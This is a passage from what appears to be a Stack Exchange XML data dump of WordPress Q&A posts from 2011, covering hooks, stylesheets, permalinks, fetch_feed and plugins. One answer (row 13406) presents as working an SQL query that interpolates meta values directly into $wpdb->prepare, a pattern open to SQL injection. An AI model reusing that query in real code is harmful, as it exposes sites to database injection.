&lt;code&gt;include()&lt;/code&gt;) it doesn't work and always complains about line 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips and help would be hugely appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dasha&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP 3.1.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP Version 5.2.6-1+lenny9&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-05-18T11:19:05.867" Title="strange parse error when including a loop template within another template" Tags="&lt;loop&gt;&lt;errors&gt;&lt;get-template-part&gt;&lt;include&gt;" AnswerCount="1" CommentCount="11" />
  <row Id="13404" PostTypeId="2" ParentId="13363" CreationDate="2011-03-29T15:20:59.490" Score="0" ViewCount="" Body="&lt;p&gt;The first issue as AutoBLogged pointed out is that you've incorrectly referenced &lt;code&gt;_FILE_&lt;/code&gt; and not &lt;code&gt;__FILE__&lt;/code&gt; in the first activation hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a possible secondary problem, and i say possible because i've never had to use the activation or deactivation hooks extensively myself, and that's with calling &lt;code&gt;register_activation_hook&lt;/code&gt; twice, once toward the top of the script, and once toward the bottom.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd assume(and i could be wrong here) that you can't create two seperate activation hooks for a single file. The solution should be simple though, take the code from both functions and move it into one, so you only need one call to &lt;code&gt;register_activation_hook&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-29T15:20:59.490" />
  <row Id="13405" PostTypeId="1" CreationDate="2011-03-29T15:25:34.683" Score="-1" ViewCount="287" Body="&lt;p&gt;I'm trying to get a stylesheet conditional on resolution/screensize to work, so far I've got it working on all browsers except ff pre3.2 and IE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; media='screen and (max-width: 1025px)' href=&quot;&amp;lt;?php  bloginfo('template_directory'); ?&amp;gt;/css/medium.css&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; media='screen and (min-width: 1026px)' href=&quot;&amp;lt;?php  bloginfo('stylesheet_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php wp_enqueue_script( 'resolution', site_url( 'resolution.js' ), array( 'jquery' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this js:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    function adjustStyle(width) {&#xA;        width = parseInt(width);&#xA;        if (width &amp;lt; 1025) {&#xA;            $(&quot;#size-stylesheet&quot;).attr(&quot;href&quot;, &quot;css/medium.css&quot;);&#xA;        } else {&#xA;            $(&quot;#size-stylesheet&quot;).attr(&quot;href&quot;, &quot;style.css&quot;); &#xA;        }&#xA;    }&#xA;&#xA;    $(function() {&#xA;        adjustStyle($(this).width());&#xA;        $(window).resize(function() {&#xA;            adjustStyle($(this).width());&#xA;        });&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IE and early firefox completely ignore the scripts&#xA;Any suggestions would be appreciated!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**I've gotten this to work in nonWP sites before so I'm thinking that I'm somehow not linking it up correctly...&#xA;**for the link I've also tried adding an absolute url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;attr(&quot;href&quot;, &quot;http://www.test.com/wp-content/themes/test/style.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;attr(&quot;href&quot;, site_url(&quot;http://www.test.com/wp-content/themes/test/style.css&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4029" LastEditorUserId="4029" LastEditorDisplayName="" LastEditDate="2011-03-30T11:52:30.280" LastActivityDate="2011-08-28T03:35:49.103" ClosedDate="2011-08-28T15:32:54.233" Title="resolution/screen size conditional stylesheets in WP" Tags="&lt;stylesheet&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="13406" PostTypeId="2" ParentId="13193" CreationDate="2011-03-29T15:50:29.103" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&#xA;function getIdFromMeta( $meta_key, $meta_value ) {&#xA;    global $wpdb;&#xA;    $pid = $wpdb-&gt;get_var( $wpdb-&gt;prepare(&quot;SELECT post_id FROM $wpdb-&gt;postmeta WHERE meta_value = '$meta_value' AND meta_key = '$meta_key' ORDER BY post_id DESC&quot;) );&#xA;    if( $pid != '' )&#xA;        return $pid;&#xA;    else &#xA;        return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it is work fine for me&#xA;this solution give me &lt;a href=&quot;http://stackoverflow.com/users/609870/rochester-oliveira&quot;&gt;Rochester Oliveira&lt;/a&gt; my question on &lt;a href=&quot;http://stackoverflow.com/questions/5450092/how-to-get-post-id-from-post-meta/5467348#5467348&quot;&gt;stackoverflow&lt;/a&gt;&#xA;Thanks Rochester Oliveira&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this return post id but i needed nav menu id&lt;/p&gt;&#xA;" OwnerUserId="3311" LastEditorUserId="3311" LastEditorDisplayName="" LastEditDate="2011-03-29T16:18:23.367" LastActivityDate="2011-03-29T16:18:23.367" />
  <row Id="13407" PostTypeId="2" ParentId="13405" CreationDate="2011-03-29T16:05:10.000" Score="0" ViewCount="" Body="&lt;p&gt;I'm not entirely sure if the way you're using the no-conflict wrapper is the source of your problem, but if JS behaves anything like PHP i don't think the code will work simply because you're nesting one function declaration inside another..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this in place of your code and see if it helps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready( function($) {&#xA;&#xA;    adjustStyle( $(this).width() );&#xA;&#xA;    $( window ).resize( function() {&#xA;         adjustStyle( $(this).width() );&#xA;    });&#xA;});&#xA;&#xA;function adjustStyle( width ) {&#xA;&#xA;    width = parseInt( width );&#xA;&#xA;    if( width &amp;lt; 1025 )&#xA;         $(&quot;#size-stylesheet&quot;).attr(&quot;href&quot;, &quot;css/medium.css&quot;);&#xA;    else&#xA;         $(&quot;#size-stylesheet&quot;).attr(&quot;href&quot;, &quot;style.css&quot;); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if that helps.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-29T16:05:10.000" CommentCount="1" />
  <row Id="13408" PostTypeId="2" ParentId="13363" CreationDate="2011-03-29T16:28:46.527" Score="1" ViewCount="" Body="&lt;p&gt;It seems like you just copy-pasted the code from over &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and expect it to simply work. Looking at how the single lines are messed up and at stuff like the &lt;code&gt;_FILE_&lt;/code&gt; issue or &lt;code&gt;$rows_affected&lt;/code&gt; getting set but called nowhere, i'd say best recommendation is to simply read your code yourself again, try to clean it up and add some comments that act as inline &quot;what does this line do&quot;-protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further more no plugin should delete it's options during deactivation, but on uninstall. Also try to use function and var names that explain what stuff is or does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last line: Don't add tables to the database unless you're pretty sure about how stuff works. You could really mess up a lot.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-29T16:47:49.323" LastActivityDate="2011-03-29T16:47:49.323" />
  <row Id="13409" PostTypeId="2" ParentId="13405" CreationDate="2011-03-29T16:41:41.777" Score="0" ViewCount="" Body="&lt;p&gt;Adding conditional checks for stylesheets is simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_ie_stylesheet() &#xA;{&#xA;    // care about child themes&#xA;    if ( TEMPLATEPATH != STYLESHEETPATH )&#xA;    {&#xA;            $source_folder = get_bloginfo( 'template_directory' );&#xA;    }&#xA;    else&#xA;    {&#xA;            $source_folder = get_bloginfo( 'stylesheet_directory' );&#xA;    }&#xA;    // root path is /wp-root/wp-content/themes/parent-r-child/css/ie/ie.css&#xA;    $path = trailingslashit( $source_folder.'/css/ie' ); &#xA;&#xA;    wp_register_style( 'conditional-ie', $path.'ie.css', false, '0.0', 'screen and (max-width: 1025px)' );&#xA;&#xA;    // Adds stylesheet for IE browsers until IE 8&#xA;    $GLOBALS['wp_styles']-&amp;gt;add_data( 'conditional-ie', 'conditional', 'lte IE 8' );&#xA;}&#xA;add_action( 'wp_head', 'add_ie_stylesheet', 100 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not completely sure if i understood you right, but this solves the media attribute issue.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-29T16:41:41.777" CommentCount="2" />
  <row Id="13410" PostTypeId="1" AcceptedAnswerId="13426" CreationDate="2011-03-29T15:37:46.920" Score="1" ViewCount="79" Body="&lt;p&gt;Hay, I'm making a WordPress template, and i have 4 main pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HOME&#xA;BLOG&#xA;CONTACT&#xA;ABOUT US&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see &quot;Blog&quot; is a page (i need it to display when i call wp_list_pages()), but how do i edit this blog page? I assigned the &quot;Blog&quot; page a custom temeplate (called blog.php), but when &quot;Blog&quot; is set as the &quot;Post page&quot; in the Reading section of the WordPress admin, the page fails to render the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i edit this &quot;Blog&quot; page? &lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2011-03-29T19:10:29.930" Title="What exactly does &quot;Posts page&quot; do in WordPress?" Tags="&lt;php&gt;&lt;html&gt;&lt;templates&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="13411" PostTypeId="1" AcceptedAnswerId="13622" CreationDate="2011-03-29T17:05:04.230" Score="2" ViewCount="118" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;The Dilemma&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a few custom post types:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Portfolio Items&lt;/li&gt;&#xA;&lt;li&gt;Testimonials&lt;/li&gt;&#xA;&lt;li&gt;FAQs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The URL structures for these custom post types are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mysite.com/&lt;strong&gt;portfolio&lt;/strong&gt;/name-of-custom-post&lt;/li&gt;&#xA;&lt;li&gt;mysite.com/&lt;strong&gt;testimonial&lt;/strong&gt;/name-of-custom-post&lt;/li&gt;&#xA;&lt;li&gt;mysite.com/&lt;strong&gt;faq&lt;/strong&gt;/name-of-custom-post&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd like to use the normal, built-in WordPress post type to control our blog entries, and have the URL for each blog entry be like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mysite.com/&lt;strong&gt;blog&lt;/strong&gt;/name-of-post&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I go to Settings &gt; Permalinks and adjust the URL structure to be like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/blog/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...then the URLs for &lt;em&gt;all&lt;/em&gt; of my post types are affected, which results in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mysite.com/&lt;strong&gt;blog/portfolio&lt;/strong&gt;/name-of-custom-post&lt;/li&gt;&#xA;&lt;li&gt;mysite.com/&lt;strong&gt;blog/testimonial&lt;/strong&gt;/name-of-custom-post&lt;/li&gt;&#xA;&lt;li&gt;etc...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;The Question&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to know -- is it possible to adjust the URL structure for the built-in WordPress post type without affecting the URL structure of other custom post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other way I see to solve my dilemma is to create another custom post type called &quot;Blog.&quot; This seems wasteful, because then I won't be using the built-in WordPress post type at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;If anyone needs it, The Why&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone wonders why I need &quot;blog&quot; in the URL so badly, it's because we're merging our blog into the same install as our site, and want to keep the URLs intact so we don't lose valuable Google juice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated -- thanks!&lt;/p&gt;&#xA;" OwnerUserId="4296" LastActivityDate="2011-03-31T14:01:45.930" Title="Possible to change the URL for the regular post type without affecting the URL of other custom post types?" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;urls&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="13412" PostTypeId="2" ParentId="13353" CreationDate="2011-03-29T17:13:51.980" Score="0" ViewCount="" Body="&lt;p&gt;It seemed that the problem was with serializing/unserializing the array, so I just rewrote the function to be a comma sperated string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $reminders = get_user_meta($current_user-&amp;gt;ID,&quot;reminders&quot;,TRUE);&#xA;        if(is_int(strpos($reminders,$_GET['auction']))) {&#xA;            echo &quot;Failed: Auction already in list&quot;;&#xA;        } else {&#xA;            $reminders .= &quot;,&quot;.intval($_GET['auction']);&#xA;            if(substr($reminders,0,1) == &quot;,&quot;) { //Remove leading comma if it exists&#xA;                $reminders = substr($reminders,1,strlen($reminders)-1);&#xA;            }&#xA;            if(update_user_meta($current_user-&amp;gt;ID,&quot;reminders&quot;,$reminders)) {&#xA;                echo &quot;Success&quot;;&#xA;            } else {&#xA;                echo &quot;Failed: Could not update user meta&quot;;&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4224" LastActivityDate="2011-03-29T17:13:51.980" />
  <row Id="13413" PostTypeId="1" AcceptedAnswerId="13470" CreationDate="2011-03-29T17:31:17.780" Score="0" ViewCount="293" Body="&lt;p&gt;I am managing a Wordpress network and would like to add the unfiltered_html user capability to the already predefined user role of Admin.  In a standard installation of Wordpress the Admin account would already have this capability but in an MU installation only Super Admins are afforded this capability.  Wordpress &lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities&quot; rel=&quot;nofollow&quot;&gt;Roles and Capabilities&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I augment the Admin role from within a theme or plugin?&lt;/p&gt;&#xA;" OwnerUserId="2362" LastActivityDate="2011-04-06T18:17:14.020" Title="How to add a Capability to a User Role?" Tags="&lt;roles&gt;&lt;capabilities&gt;&lt;user-roles&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="13414" PostTypeId="1" AcceptedAnswerId="13423" CreationDate="2011-03-29T17:31:57.310" Score="1" ViewCount="167" Body="&lt;p&gt;I've got a very basic solution using &lt;code&gt;fetch_feed()&lt;/code&gt; and SimplePie to pull in RSS items which is working on my localhost, but for some reason &lt;code&gt;is_wp_error()&lt;/code&gt; persists as &lt;code&gt;true&lt;/code&gt; on the live server. Is there anyway for me to get specific output about the nature of the error so as to work towards a solution on the live server?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  include_once(ABSPATH . WPINC . '/feed.php');&#xA;  $rss = fetch_feed( '[rss feed removed from example]' );&#xA;  if (!is_wp_error( $rss ) ) :&#xA;    $maxitems = $rss-&amp;gt;get_item_quantity(5);&#xA;    $rss_items = $rss-&amp;gt;get_items(0, $maxitems);&#xA;    $isc = 'http://dtd.interspire.com/rss/isc-1.0.dtd';&#xA;  endif;&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;featured-products&quot;&amp;gt;&#xA;  &amp;lt;?php if ( $maxitems == 0) : ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;No items.&amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;?php foreach ( $rss_items as $item ) : &#xA;      $image = $item-&amp;gt;get_item_tags( $isc, 'thumb'); ?&amp;gt;&#xA;      &amp;lt;li&amp;gt;...&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endforeach; ?&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="92" LastActivityDate="2011-03-29T18:48:46.217" Title="Troubleshooting fetch_feed and SimplePie" Tags="&lt;fetch-feed&gt;&lt;simplepie&gt;&lt;troubleshooting&gt;" AnswerCount="1" />
  <row Id="13415" PostTypeId="2" ParentId="13375" CreationDate="2011-03-29T17:32:59.193" Score="1" ViewCount="" Body="&lt;p&gt;I tested this code and it works great:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('meta_key=price&amp;amp;orderby=meta_value_num&amp;amp;post_parent='.$post-&amp;gt;ID.'&amp;amp;post_type=page'); ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;page&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;pagecontent&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;grid&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;                    &amp;lt;?php&#xA;                        $attachments = get_children( array (&#xA;                            'post_parent'    =&amp;gt; $post-&amp;gt;ID,&#xA;                            'post_type'      =&amp;gt; 'attachment',&#xA;                            'numberposts'    =&amp;gt; 1,&#xA;                            'post_status'    =&amp;gt; 'inherit',&#xA;                            'post_mime_type' =&amp;gt; 'image',&#xA;                            'order'          =&amp;gt; 'ASC',&#xA;                            'orderby'        =&amp;gt; 'menu_order ASC'&#xA;                        ) );&#xA;&#xA;                        foreach ( $attachments as $attachment_id =&amp;gt; $attachment ) {&#xA;                            echo wp_get_attachment_image( $attachment_id, 'medium' );&#xA;                        }&#xA;                    ?&amp;gt;&#xA;                &amp;lt;/a&amp;gt;&#xA;                &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- // grid --&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- // pagecontent --&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- // page --&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A couple of notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You don't actually need to use &lt;code&gt;get_results&lt;/code&gt;. I combined your custom query restrictions with the &lt;code&gt;query_posts&lt;/code&gt; call at the top&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;query_posts&lt;/code&gt; call is ordering by &lt;code&gt;meta_value_num&lt;/code&gt;, which is ideal for sorting by numbers. If your &quot;price&quot; field is a string, replace &lt;code&gt;meta_value_num&lt;/code&gt; with &lt;code&gt;meta_value&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;This query will only return posts that have a &quot;price&quot; field defined. That is, if your price field is empty for a post, that post won't be returned.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4296" LastActivityDate="2011-03-29T17:32:59.193" CommentCount="4" />
  <row Id="13416" PostTypeId="1" CreationDate="2011-03-29T18:03:36.293" Score="0" ViewCount="149" Body="&lt;p&gt;I have a client who would like to post research documents on his site for download with the following functionality:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Users could browse entire site, but in order to download, users would need to register and login. &lt;/li&gt;&#xA;&lt;li&gt;Would like all registration info to be automatically passed to MailChimp (name, email, other optional info) for inclusion into mailing list. &lt;/li&gt;&#xA;&lt;li&gt;User would be able to opt out of mailings, but keep site registration active&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Are there any existing plugins (or combo of plugins) that do this?&lt;/p&gt;&#xA;" OwnerUserId="4297" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T12:01:53.057" LastActivityDate="2011-04-05T12:01:53.057" Title="Site Registration &amp; MailChimp Coordination?" Tags="&lt;plugin-recommendation&gt;&lt;registration&gt;&lt;plugin-mailchimp&gt;" AnswerCount="1" />
  <row Id="13417" PostTypeId="1" CreationDate="2011-03-29T18:22:31.297" Score="0" ViewCount="92" Body="&lt;p&gt;How do I pass feed URLs with &lt;code&gt;&amp;amp;&lt;/code&gt; in the URL to &lt;code&gt;fetch_feed()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feed is not parsed correctly if there is a &lt;code&gt;&amp;amp;&lt;/code&gt; in the feed URL. Actually it works in the example I gave, but now I'm populating the feeds array dynamically with this code :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rss_subscriptions = array();&#xA;$terms = get_terms('news_rss','hide_empty=0');&#xA;$count = count($terms);&#xA;if($count &amp;gt; 0){&#xA;    foreach ($terms as $term) {&#xA;        array_push($rss_subscriptions,$term-&amp;gt;description);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The RSS feeds URLs are stored in the descriptions of the taxonomy &lt;code&gt;news_rss&lt;/code&gt; terms. Somehow in this code, passing &lt;code&gt;&amp;amp;&lt;/code&gt; into the array makes the &lt;code&gt;fetch_feed($array)&lt;/code&gt; not work.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Original question: fetch_feed() on multiple feeds, how to pass the feeds array properly ?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Hi, this is too weird, perhaps someone can explain what is going on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feeds = array('http://www.mysite.com/feed','http://www.coolsite.net/feed');&#xA;$result = fetch_feed($feeds);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;return a different result than this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result = fetch_feed(array('http://www.mysite.com/feed','http://www.coolsite.net/feed'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Actually, the second example works, the first one returns feed items, but for some reason they are not the last ones...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to find a way to populate the feeds array dynamically, that's why I'd like something like the first example better.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T12:07:46.233" LastActivityDate="2011-09-02T15:39:57.410" Title="Passing feed URLs with &quot;&amp;&quot; to fetch_feed()?" Tags="&lt;rss&gt;&lt;feed&gt;&lt;fetch-feed&gt;&lt;simplepie&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="13418" PostTypeId="1" AcceptedAnswerId="13995" CreationDate="2011-03-29T18:27:14.147" Score="1" ViewCount="216" Body="&lt;p&gt;I have my blog under &lt;code&gt;blog.mydomain.com&lt;/code&gt;. I am using pages for some static content that needs to be accessed from another subdomain. So &lt;code&gt;careers.mydomain.com&lt;/code&gt; will show WordPress content from &lt;code&gt;blog.mydomain.com/careers&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that all the links on the page still reference &lt;code&gt;blog.mydomain.com&lt;/code&gt;. Is there a way to ask WordPress to use relative links? Or a way to change the baseURL for pages?&lt;/p&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T12:16:26.630" LastActivityDate="2011-04-05T16:25:56.417" Title="Relative instead of absolute links in pages?" Tags="&lt;pages&gt;&lt;links&gt;&lt;subdomains&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="13419" PostTypeId="2" ParentId="13416" CreationDate="2011-03-29T18:32:14.187" Score="1" ViewCount="" Body="&lt;p&gt;Mailchimp has several WordPress plugin you can get directly from their site. Other mail services also provide WordPress specific plugins besides Mailchimp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kb.mailchimp.com/connect&quot; rel=&quot;nofollow&quot;&gt;http://kb.mailchimp.com/connect&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These plugins interface directly with WordPress signups or as a separate form, the Mailchimp signups by default need user confirmation and provide opt-out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for download only for members, it depends how you structure the downloads, you can have a members only download sections, or a manager for post links, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance using:&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/download-monitor/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/download-monitor/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-members/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/member-access/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/member-access/&lt;/a&gt;    &lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-29T18:32:14.187" CommentCount="1" />
  <row Id="13420" PostTypeId="1" CreationDate="2011-03-29T18:34:35.573" Score="-1" ViewCount="268" Body="&lt;p&gt;I did the fix to move Sharedaddy icons to the top of the post located here:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12821/moving-sharedaddy-buttons-in-jetpack-to-the-top-of-a-post&quot;&gt;Moving sharedaddy buttons (in Jetpack) to the top of a post?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my website I have the homepage as the blog portion. I wanted the share buttons to be &lt;strong&gt;only at the top&lt;/strong&gt; of the post when viewing the homepage; however, when someone clicks on a '&lt;strong&gt;&lt;em&gt;single post&lt;/em&gt;&lt;/strong&gt;' I want the share buttons to be on the &lt;strong&gt;top&lt;/strong&gt; and &lt;strong&gt;bottom&lt;/strong&gt; of the post so users don't have to scroll all the way up. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is there a way to create a border around the Sharedaddy icons so it can be a little more distinguishable from everything else? (i.e., 10px padding or so to create a box around the share icons).&lt;/p&gt;&#xA;" OwnerUserId="4300" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-05T12:30:28.897" LastActivityDate="2011-04-05T12:30:28.897" Title="Sharedaddy buttons at the top (and sometimes bottom too) of posts?" Tags="&lt;plugin-jetpack&gt;" AnswerCount="1" />
  <row Id="13421" PostTypeId="2" ParentId="13411" CreationDate="2011-03-29T18:43:50.230" Score="0" ViewCount="" Body="&lt;p&gt;Alternative - You can setup permanent 301 redirects. This will send people on to the correct link and keep your google juice intact. I don't know the answer to your specific question though.&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-29T18:43:50.230" CommentCount="2" />
  <row Id="13423" PostTypeId="2" ParentId="13414" CreationDate="2011-03-29T18:48:46.217" Score="2" ViewCount="" Body="&lt;p&gt;add this to your feed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $rss = fetch_feed( $url );&#xA;    if ( is_wp_error( $rss ) ) {&#xA;       echo $rss-&amp;gt;get_error_message();  &amp;lt;---this&#xA;    } else {&#xA;   // do your stuff here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would also suggest installing the debug toolbar extensions, like &quot;debug-bar-extender&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-29T18:48:46.217" CommentCount="1" />
